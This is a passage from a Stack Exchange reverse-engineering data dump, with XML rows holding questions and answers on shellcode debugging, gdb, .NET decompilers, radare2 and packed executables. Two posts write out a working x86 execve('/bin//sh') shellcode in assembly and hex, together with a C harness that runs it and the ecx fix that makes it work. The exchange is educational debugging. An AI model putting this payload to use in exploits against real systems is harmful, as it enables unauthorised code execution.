program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4&#xA;  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1&#xA;      [Requesting program interpreter: /lib/ld-linux.so.2]&#xA;  LOAD           0x000000 0x08048000 0x08048000 0x00590 0x00590 R E 0x1000&#xA;  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000&#xA;  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4&#xA;  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4&#xA;  GNU_EH_FRAME   0x0004b4 0x080484b4 0x080484b4 0x0002c 0x0002c R   0x4&#xA;  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10&#xA;  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1&#xA;&#xA; Section to Segment mapping:&#xA;  Segment Sections...&#xA;   00&#xA;   01     .interp&#xA;   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame&#xA;   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss&#xA;   04     .dynamic&#xA;   05     .note.ABI-tag .note.gnu.build-id&#xA;   06     .eh_frame_hdr&#xA;   07&#xA;   08     .init_array .fini_array .jcr .dynamic .got&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Comparison with &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-827.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;this shellcode&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here're the differences:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hamza (working)     |   me&#xA;&#xA;ASM&#xA;&#xA;xor    eax, eax     |   xor    eax, eax&#xA;push   eax          |   push   eax&#xA;push   0x68732f2f   |   push   0x68732f2f&#xA;push   0x6e69622f   |   push   0x6e69622f&#xA;mov    ebx, esp     |   mov    ebx, esp&#xA;push   eax          |&#xA;push   ebx          |&#xA;mov    esp, ecx     |&#xA;mov    al, 0xb      |   mov    al, 0xb&#xA;int    0x80         |   int    0x80&#xA;&#xA;Stack before the interrupt (each line is a word)&#xA;&#xA;&amp;amp;(/bin//sh)         | /bin&#xA;0                   | //sh&#xA;/bin                | 0&#xA;//sh                |&#xA;0                   |&#xA;&#xA;Registers before the interrupt&#xA;&#xA;eax    0xb          |   0xb&#xA;ebx    &amp;amp;(/bin//sh)  |   &amp;amp;(/bin//sh)&#xA;ecx    esp          |   ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the stack changes by having the string's address and an extra &lt;code&gt;0&lt;/code&gt;, and his &lt;code&gt;ecx&lt;/code&gt; register is set to the last &lt;code&gt;esp&lt;/code&gt; value. And those differences make his shellcode to work (both direcly with &lt;code&gt;nasm&lt;/code&gt; &amp;amp; &lt;code&gt;ld&lt;/code&gt; and inside the &lt;code&gt;C&lt;/code&gt; program, without any change).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some progress, there's one extra instruction when the payload run within the C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb)  x/14i 0x80484a0&#xA;   ...&#xA;   0x80484b3 &amp;lt;shellcode+19&amp;gt;:    mov    $0xb,%al&#xA;   0x80484b5 &amp;lt;shellcode+21&amp;gt;:    int    $0x80&#xA;   0x80484b7 &amp;lt;shellcode+23&amp;gt;:    add    %al,(%ecx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I don't know (yet) why the &lt;code&gt;ecx&lt;/code&gt; register is incremented with the return value of the interrupt, clearing the register with &lt;code&gt;xor ecx, ecx&lt;/code&gt; fixes the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the working asm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;section .text&#xA;    global _start&#xA;&#xA;_start:&#xA;    xor  eax, eax&#xA;    push eax&#xA;    push 0x68732f2f&#xA;    push 0x6e69622f&#xA;    mov  ebx, esp&#xA;    xor  ecx, ecx&#xA;    mov  al, 0xb&#xA;    int  0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18431" LastEditorUserId="18431" LastEditDate="2017-09-02T21:23:44.880" LastActivityDate="2017-09-03T09:24:50.893" Title="ASM working as is, but not in a C program" Tags="|assembly|gdb|shellcode|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16245" PostTypeId="1" CreationDate="2017-09-02T17:41:18.307" Score="1" ViewCount="862" Body="&lt;p&gt;I've followed the guide from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8829/cross-debugging-for-mips-elf-with-qemu-toolchain&quot;&gt;Cross debugging for MIPS ELF with QEMU/toolchain&lt;/a&gt; to cross compile a simple hello world application, but for some reason I get a segmentation fault when opening it with gdb-multiarch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exact steps I followed from the guide&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install libc6-mipsel-cross      # For MIPS-EL&#xA;$ sudo apt-get install gcc-mipsel-linux-gnu     # For MIPS-EL on Ubuntu 16.04&#xA;$ sudo mkdir /etc/qemu-binfmt&#xA;$ sudo ln -s /usr/mipsel-linux-gnu /etc/qemu-binfmt/mipsel # MIPSEL&#xA;$ mipsel-linux-gnu-gcc -xc -static -o mipsel-test hello.c&#xA;$ gdb-multiarch mipsel-test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mipsel-test: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=27b56a9e12c8e083759f25699b624a87e8c3d86a, not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output running gdb-multiarch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$ gdb-multiarch ./mipsel-test &#xA;GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1&#xA;Copyright (C) 2016 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;x86_64-linux-gnu&quot;.&#xA;Type &quot;show configuration&quot; for configuration details.&#xA;For bug reporting instructions, please see:&#xA;.&#xA;Find the GDB manual and other documentation resources online at:&#xA;.&#xA;For help, type &quot;help&quot;.&#xA;Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...&#xA;Reading symbols from ./mipsel-test...Segmentation fault (core dumped)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output running gdb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$ gdb mipsel-test &#xA;GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1&#xA;Copyright (C) 2016 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;x86_64-linux-gnu&quot;.&#xA;Type &quot;show configuration&quot; for configuration details.&#xA;For bug reporting instructions, please see:&#xA;.&#xA;Find the GDB manual and other documentation resources online at:&#xA;.&#xA;For help, type &quot;help&quot;.&#xA;Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...&#xA;Reading symbols from mipsel-test...(no debugging symbols found)...done.&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="17998" LastEditorUserId="17998" LastEditDate="2017-09-03T19:18:55.683" LastActivityDate="2017-09-04T09:06:37.763" Title="gdb-multiarch Segmentation fault" Tags="|gdb|qemu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16246" PostTypeId="1" CreationDate="2017-09-02T18:16:24.573" Score="1" ViewCount="1307" Body="&lt;p&gt;I've watched a video about finding out static addresses with pointers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OFFSET 0&#xA;01DE15B4&#xA;&#xA;OFFSET 14&#xA;01DE15D0&#xA;&#xA;OFFSET 378&#xA;BASE ADDRESS&amp;gt; 01DE8058&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the person said, that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After finding the static base address we don't need the other addresses (leading to the base address) just the offsets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so according to him this would be enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OFFSET 0&#xA;&#xA;&#xA;OFFSET 14&#xA;&#xA;&#xA;OFFSET 378&#xA;BASE ADDRESS&amp;gt; 01DE8058&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically I just put it any address and add these offsets so I always get to this base address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the preconditions to get with these offsets to that exact address? &lt;/p&gt;&#xA;" OwnerUserId="21450" LastActivityDate="2017-09-02T18:16:24.573" Title="Base address and offsets" Tags="|address|offset|pointer|" AnswerCount="0" CommentCount="4" ClosedDate="2017-09-04T09:57:20.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="16247" PostTypeId="2" ParentId="16244" CreationDate="2017-09-02T19:12:44.957" Score="3" Body="&lt;p&gt;Okay, so according to &lt;code&gt;gdb&lt;/code&gt; the shellcode does run, so it's probably placed into &lt;code&gt;.text&lt;/code&gt;. You should try to step through the shellcode (e.g. using &lt;code&gt;stepi&lt;/code&gt;) to see on what instruction it faults.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-02T19:12:44.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16248" PostTypeId="1" CreationDate="2017-09-02T20:27:06.483" Score="1" ViewCount="62612" Body="&lt;ol&gt;&#xA;&lt;li&gt;Can we decompile a .exe or .dll file as &lt;strong&gt;100%&lt;/strong&gt;? Also sometimes seems some&#xA;mistakes on somewhere (like mainfrm.cs) , how can we fix that?&lt;/li&gt;&#xA;&lt;li&gt;What is the best &lt;strong&gt;.NET decompiler&lt;/strong&gt;? or What would you prefer?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I wanna get an  answer for my questions. Thanks!...&lt;/p&gt;&#xA;" OwnerUserId="21449" LastActivityDate="2017-09-03T12:37:25.680" Title="Can we decompile an .exe or .dll as %100?" Tags="|decompilation|decompile|decompiler|c#|" AnswerCount="1" CommentCount="2" ClosedDate="2017-09-04T09:15:38.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="16249" PostTypeId="1" AcceptedAnswerId="30811" CreationDate="2017-09-03T07:42:03.740" Score="2" ViewCount="2256" Body="&lt;p&gt;So I far I have been using &lt;a href=&quot;https://github.com/aerosoul94/snowman&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snowman&lt;/a&gt; for &lt;code&gt;PowerPC&lt;/code&gt; decompilation. It is bad though but better than nothing. However, right now it doesn't support floating point instructions. They are simply written down as inline assembly which is of course kinda useless since you already had that in the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void RadiusFromBoundsSq() {&#xA;    __asm__(&quot;lfs f10, 8(r3)&quot;);&#xA;    __asm__(&quot;lfs f5, (r3)&quot;);&#xA;    __asm__(&quot;frsp f11, f10&quot;);&#xA;    __asm__(&quot;lfs f6, (r4)&quot;);&#xA;    __asm__(&quot;frsp f10, f5&quot;);&#xA;    __asm__(&quot;frsp f12, f6&quot;);&#xA;    __asm__(&quot;lfs f13, 4(r3)&quot;);&#xA;    __asm__(&quot;fabs f11, f11&quot;);&#xA;    __asm__(&quot;lfs f8, 4(r4)&quot;);&#xA;    __asm__(&quot;frsp f0, f13&quot;);&#xA;    __asm__(&quot;frsp f8, f8&quot;);&#xA;    __asm__(&quot;lfs f9, 8(r4)&quot;);&#xA;    __asm__(&quot;fabs f12, f12&quot;);&#xA;    __asm__(&quot;frsp f13, f9&quot;);&#xA;    __asm__(&quot;fabs f8, f8&quot;);&#xA;    __asm__(&quot;fabs f0, f0&quot;);&#xA;    __asm__(&quot;fabs f13, f13&quot;);&#xA;    __asm__(&quot;fabs f10, f10&quot;);&#xA;    __asm__(&quot;fsubs f7, f8, f0&quot;);&#xA;    __asm__(&quot;fsubs f9, f13, f11&quot;);&#xA;    __asm__(&quot;fsubs f6, f12, f10&quot;);&#xA;    __asm__(&quot;fsel f8, f7, f8, f0&quot;);&#xA;    __asm__(&quot;fsel f11, f9, f13, f11&quot;);&#xA;    __asm__(&quot;fsel f0, f6, f12, f10&quot;);&#xA;    __asm__(&quot;fmuls f13, f8, f8&quot;);&#xA;    __asm__(&quot;fmadds f7, f0, f0, f13&quot;);&#xA;    __asm__(&quot;fmadds f1, f11, f11, f7&quot;);&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any &quot;better&quot; plugin for this task besides &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/compare_ppc.shtml#6&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;HexRays&lt;/code&gt;&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12774" LastActivityDate="2022-08-23T13:10:25.857" Title="IDA Pro PowerPC Decompiler Plugin supporting Floating Point Instructions" Tags="|ida|decompilation|hexrays|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16250" PostTypeId="1" AcceptedAnswerId="16259" CreationDate="2017-09-03T07:55:53.733" Score="1" ViewCount="469" Body="&lt;p&gt;I have the following shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor  eax, eax   ; eax = 0&#xA;push eax        ; 0 (end of the string)&#xA;push 0x68732f2f ; //sh&#xA;push 0x6e69622f ; /bin&#xA;mov  ebx, esp   ; ebx = &amp;amp;(/bin//sh)&#xA;xor  ecx, ecx   ; ecx = 0&#xA;mov  al, 0xb    ; execve&#xA;int  0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, converted into hex is used in the following C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const char shellcode[] =&#xA;     &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80&quot;;&#xA;&#xA;int main(){&#xA;    (*(void(*)()) shellcode)();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works just fine, but when I step through the payload with &lt;code&gt;gdb&lt;/code&gt; I see an extra instruction added to the shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb shellcode&#xA;(gdb) disass main&#xA;Dump of assembler code for function main:&#xA;   0x080483ed &amp;lt;+0&amp;gt;:     push   %ebp&#xA;   0x080483ee &amp;lt;+1&amp;gt;:     mov    %esp,%ebp&#xA;   0x080483f0 &amp;lt;+3&amp;gt;:     and    $0xfffffff0,%esp&#xA;   0x080483f3 &amp;lt;+6&amp;gt;:     mov    $0x80484a0,%eax&#xA;   0x080483f8 &amp;lt;+11&amp;gt;:    call   *%eax&#xA;   0x080483fa &amp;lt;+13&amp;gt;:    mov    $0x0,%eax&#xA;   0x080483ff &amp;lt;+18&amp;gt;:    leave&#xA;   0x08048400 &amp;lt;+19&amp;gt;:    ret&#xA;End of assembler dump.&#xA;(gdb)  x/14i 0x80484a0&#xA;   0x80484a0 &amp;lt;shellcode&amp;gt;:       xor    %eax,%eax&#xA;   0x80484a2 &amp;lt;shellcode+2&amp;gt;:     push   %eax&#xA;   0x80484a3 &amp;lt;shellcode+3&amp;gt;:     push   $0x68732f2f&#xA;   0x80484a8 &amp;lt;shellcode+8&amp;gt;:     push   $0x6e69622f&#xA;   0x80484ad &amp;lt;shellcode+13&amp;gt;:    mov    %esp,%ebx&#xA;   0x80484af &amp;lt;shellcode+15&amp;gt;:    xor    %ecx,%ecx&#xA;   0x80484b1 &amp;lt;shellcode+17&amp;gt;:    mov    $0xb,%al&#xA;   0x80484b3 &amp;lt;shellcode+19&amp;gt;:    int    $0x80&#xA;   0x80484b7 &amp;lt;shellcode+21&amp;gt;:    add    %al,(%ecx)&#xA;   ... (gibberish)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the &lt;code&gt;shellcode+23&lt;/code&gt; is an extra line, added to the shellcode.&#xA;While searching for an answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/16244&quot;&gt;here&lt;/a&gt; I discovered that it was making the shellcode to crash, and I had to clear the &lt;code&gt;ecx&lt;/code&gt; register before calling the interrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know what is this extra command?&lt;/p&gt;&#xA;" OwnerUserId="18431" LastEditorUserId="18431" LastEditDate="2017-09-04T09:45:12.280" LastActivityDate="2017-09-04T17:43:59.687" Title="Added instruction to shellcode" Tags="|gdb|register|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16251" PostTypeId="1" CreationDate="2017-09-03T08:33:08.270" Score="0" ViewCount="217" Body="&lt;p&gt;I was reversing some executable and came across to this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jLOeM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jLOeM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I found out later, it's using function pointer to call function &lt;code&gt;sub_4011C0&lt;/code&gt; and that could be the reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is why does dissambler show this kind of output? why doesn't it recognize the function pointer and call the function twice? thanks.&lt;/p&gt;&#xA;" OwnerUserId="21456" LastEditorUserId="2147" LastEditDate="2017-09-03T08:42:32.703" LastActivityDate="2017-09-03T17:42:11.597" Title="IDA: Two calls of a same function" Tags="|ida|disassembly|assembly|c++|c|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16252" PostTypeId="2" ParentId="16244" CreationDate="2017-09-03T09:24:50.893" Score="6" Body="&lt;p&gt;The problem with you shellcode and the why it differs if you run from C program or not is the initial values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The registers that are used when executing &lt;a href=&quot;http://syscalls.kernelgrok.com/&quot; rel=&quot;noreferrer&quot;&gt;execv&lt;/a&gt; (second page) are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;eax&lt;/code&gt; = 0x0b&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ebx&lt;/code&gt; = ptr to filename&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ecx&lt;/code&gt; = ptr to argv&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;edx&lt;/code&gt; = ptr to environment variables&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But actually the important one are only &lt;code&gt;ebx&lt;/code&gt; and &lt;code&gt;eax&lt;/code&gt; and the two other we can nullify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run your shellcode only the default value for the registers is &lt;code&gt;0x0&lt;/code&gt; so we are getting nullification of &lt;code&gt;ecx&lt;/code&gt; &amp;amp; &lt;code&gt;edx&lt;/code&gt; for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hq7HS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hq7HS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's not the case when you execute your shellcode from C program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TgxRu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TgxRu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see registers has already some initial values so you need to prepare them correctly. This is why adding &lt;code&gt;xor ecx,ecx&lt;/code&gt; fixes the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the example that you took from &lt;code&gt;ecx&lt;/code&gt; is assigned to stack pointer but on the stack there's a value that points to &quot;/bin/sh&quot; which is also ok (and probably even better than &lt;code&gt;0x00&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-09-03T09:24:50.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16253" PostTypeId="2" ParentId="16248" CreationDate="2017-09-03T12:37:25.680" Score="3" Body="&lt;p&gt;Since the compilation output of .NET languages is &lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Intermediate_Language&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;MSIL&quot;&gt;MSIL&lt;/a&gt;, which is quite readable itself, it can be transformed back to (almost) original source code.&lt;br&gt;&#xA;There are many applications which can do that.&lt;br&gt;&#xA;My favourite is &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;dnSpy&quot;&gt;dnSpy&lt;/a&gt; since it's free, open source and has debugging functionalities. AFAIK it can even try to build a Visual Studio Solution (&lt;code&gt;.sln&lt;/code&gt;) file from your input which should be what you look for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt; under certain circumstances some information is lost during the compilation process.&lt;br&gt;&#xA;You would have to manually fix those errors. For example anonymous functions can confuse a decompiler easily. And of course - if the developer tries to protect his application there are various techniques like obfuscation which would make your life harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So to answer your questions directly:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In most cases there isn't a 100% &lt;code&gt;Plug and Play&lt;/code&gt; solution. You will have to fix a few things yourself if you want to have a recompilable project.&lt;/li&gt;&#xA;&lt;li&gt;Since &lt;code&gt;best ..&lt;/code&gt; is very subjective here are a few suggestions (in no particular order):&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/0xd4d/dnSpy&lt;/a&gt; (free, open source)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.red-gate.com/products/dotnet-development/reflector/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.red-gate.com/products/dotnet-development/reflector/&lt;/a&gt; (paid)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.jetbrains.com/decompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.jetbrains.com/decompiler/&lt;/a&gt; (free?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ilspy.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ilspy.net/&lt;/a&gt; (free, open source)&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20183" LastActivityDate="2017-09-03T12:37:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16254" PostTypeId="1" AcceptedAnswerId="16277" CreationDate="2017-09-03T13:04:31.620" Score="3" ViewCount="1086" Body="&lt;p&gt;According to Radare2 documentation, this is the command to find paths:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;agt [addr]            find paths from current offset to given address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try the command, after running &lt;code&gt;aaaaa&lt;/code&gt; analysis, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00430044]&amp;gt; agt 0x0042aa98 &amp;gt; agtoutput.dot&#xA;Unable to find source or destination basic block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can confirm that the two addresses are functions and I can graph each function individually.  Also, &lt;code&gt;0x00430044&lt;/code&gt; does lead to &lt;code&gt;0x0042aa98&lt;/code&gt;. I can see that from the gdb trace.  I looked at the &lt;a href=&quot;https://github.com/radare/radare2/blob/master/libr/core/canal.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2 canal.c code&lt;/a&gt;  and found that it's looking through the &lt;code&gt;RAnalFunction-&amp;gt;bbs&lt;/code&gt; for the provided addresses. I tried ensuring that bbs was populated with those addressings by running &lt;code&gt;abb $s&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abb [length]         analyze N bytes and extract basic blocks &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and feeding the output back into r2.  I ran &lt;code&gt;abb $s&lt;/code&gt; from various locations to see if it would add the basic blocks to the bbs list. The various locations were &lt;code&gt;0x0&lt;/code&gt;, &lt;code&gt;0x00430044&lt;/code&gt;, and &lt;code&gt;0x0042aa98&lt;/code&gt;.  But nothing worked, I always get the &quot;Unable to find source or destination basic block&quot; error message.  I could be way off and going down rabbit holes, but the &quot;find paths&quot; feature would be so useful, and I'd really like to get it working? Any help on using the &lt;code&gt;agt&lt;/code&gt; feature as documented would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="21458" LastEditorUserId="18698" LastEditDate="2017-09-05T07:45:19.957" LastActivityDate="2017-09-05T23:26:48.107" Title="How to find paths from current offset to given address using radare2?" Tags="|radare2|call-graph|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16255" PostTypeId="1" AcceptedAnswerId="16286" CreationDate="2017-09-03T13:58:54.713" Score="4" ViewCount="6476" Body="&lt;p&gt;I have an exe application that contains three files packed in it. I know how those files were named before packing, I have around 80% of packed files and some of main executable file binary code. I've also found out that the execution creates and uses two files in &lt;code&gt;\AppData\Local\Temp\&lt;/code&gt; called &lt;code&gt;MBX@pid@3bytes.###&lt;/code&gt; which contains application entry I believe. And when I scan the file header with PEiD I get &lt;code&gt;Nothing found [Overlay] *&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats my objdump result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;application.exe:     file format pei-i386&#xA;architecture: i386, flags 0x00000102:&#xA;EXEC_P, D_PAGED&#xA;start address 0x0083db33&#xA;&#xA;Characteristics 0x30f&#xA;    relocations stripped&#xA;    executable&#xA;    line numbers stripped&#xA;    symbols stripped&#xA;    32 bit words&#xA;    debugging information removed&#xA;&#xA;Time/Date       Tue Dec  8 10:45:51 2009&#xA;Magic           010b    (PE32)&#xA;MajorLinkerVersion  6&#xA;MinorLinkerVersion  0&#xA;SizeOfCode      00000000&#xA;SizeOfInitializedData   00150000&#xA;SizeOfUninitializedData 00000000&#xA;AddressOfEntryPoint 0043db33&#xA;BaseOfCode      0043c000&#xA;BaseOfData      001b2000&#xA;ImageBase       00400000&#xA;SectionAlignment    00001000&#xA;FileAlignment       00001000&#xA;MajorOSystemVersion 4&#xA;MinorOSystemVersion 0&#xA;MajorImageVersion   0&#xA;MinorImageVersion   0&#xA;MajorSubsystemVersion   4&#xA;MinorSubsystemVersion   0&#xA;Win32Version        00000000&#xA;SizeOfImage     00457000&#xA;SizeOfHeaders       00001000&#xA;CheckSum        00000000&#xA;Subsystem       00000002    (Windows GUI)&#xA;DllCharacteristics  00000000&#xA;SizeOfStackReserve  00100000&#xA;SizeOfStackCommit   00001000&#xA;SizeOfHeapReserve   00100000&#xA;SizeOfHeapCommit    00001000&#xA;LoaderFlags     00000000&#xA;NumberOfRvaAndSizes 00000010&#xA;&#xA;The Data Directory&#xA;Entry 0 00000000 00000000 Export Directory [.edata (or where ever we found it)]&#xA;Entry 1 0044eb2c 0000003c Import Directory [parts of .idata]&#xA;Entry 2 003dc000 0005e81a Resource Directory [.rsrc]&#xA;Entry 3 00000000 00000000 Exception Directory [.pdata]&#xA;Entry 4 00000000 00000000 Security Directory&#xA;Entry 5 00000000 00000000 Base Relocation Directory [.reloc]&#xA;Entry 6 00000000 00000000 Debug Directory&#xA;Entry 7 00000000 00000000 Description Directory&#xA;Entry 8 00000000 00000000 Special Directory&#xA;Entry 9 00000000 00000000 Thread Storage Directory [.tls]&#xA;Entry a 00000000 00000000 Load Configuration Directory&#xA;Entry b 00000000 